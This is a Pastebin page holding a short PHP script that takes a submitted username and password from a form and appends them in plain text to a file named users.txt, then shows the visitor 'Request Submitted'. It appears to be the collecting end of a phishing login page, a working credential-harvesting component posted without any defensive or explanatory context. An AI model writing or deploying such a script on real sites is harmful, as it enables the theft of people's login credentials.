Advertisement
Guest User

Untitled

a guest
Jun 22nd, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.21 KB | None | 0 0
  1. <?php
  2.  
  3. $username = $_POST['user'];
  4. $password = $_POST['pass'];
  5.  
  6. $data = "$username | $password\n";
  7.  
  8. $fh = fopen("users.txt", "a");
  9.  
  10. fwrite($fh, $data);
  11.  
  12. fclose($fh);
  13.  
  14. print "Request Submitted";
  15. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement